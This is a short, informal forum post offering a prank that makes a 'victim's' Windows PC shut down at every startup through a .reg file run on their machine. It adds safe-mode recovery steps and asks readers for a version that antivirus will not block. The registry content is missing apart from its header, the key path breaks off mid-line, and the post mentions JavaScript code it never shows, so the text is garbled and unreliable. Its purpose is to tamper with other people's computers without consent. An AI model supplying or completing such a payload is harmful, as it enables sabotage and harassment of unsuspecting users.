Shutdown your friend's computer everytime it start
put this followin text in a .reg file and run it in the victims pc:
Windows Registry Editor Version 5.00
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
Be careful, a drawback of the js code is that NORTON ANTIVIRUS's script blocking feature may block this.
well i am also trying to find the method which executes without any drawbacks. So if u have one, pls post it here.